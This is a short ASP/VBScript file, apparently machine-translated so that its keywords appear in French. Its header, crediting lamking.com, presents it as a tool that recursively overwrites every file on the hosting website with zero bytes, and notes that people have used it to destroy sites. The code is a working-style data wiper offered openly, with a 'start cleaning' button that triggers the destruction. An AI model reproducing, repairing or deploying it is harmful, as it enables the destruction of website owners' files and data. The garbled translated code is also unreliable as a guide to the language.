Fonction : Vous pouvez effacer tous les fichiers du site Web où se trouve ce fichier et remettre à zéro le contenu du fichier Une fois l'opération terminée, la taille de tous les fichiers deviendra 0 octet.
Ce code est ma propre création originale. Veuillez marquer la réimpression de lamking.com. De plus, le programme peut être étendu
par ennui. Certaines personnes l'ont utilisé pour détruire certains sites Web. .
Serveur.ScriptTimeout=99999
Si Demande("Soumettre")<>"" Alors
Appeler ListFile(Server.mappath("./"))
Response.write "Nettoyage terminé"
Autre
Response.write"<form><input type=""submit"" name=""Submit"" value=""Démarrer le nettoyage""></form>"
Fin si
Fonction ListFile (fpath)
En cas d'erreur, reprendre ensuite
Dim Shell, Dossier, s
Définir Shell = Server.CreateObject ("Shell.Application")
Définir le dossier = Shell.Namespace (fpath)
Définir f=Server.CreateObject("Adodb.Stream")
f.Type=1
f.Ouvrir
Pour chaque s dans Folder.Items
SI s.isfolder Alors
Appeler ListFile(s.path)
Autre
f.SaveToFile s.path,2
Terminer si
Suivant
Définir f=Rien
Définir Shell = rien
Fin de fonction
%>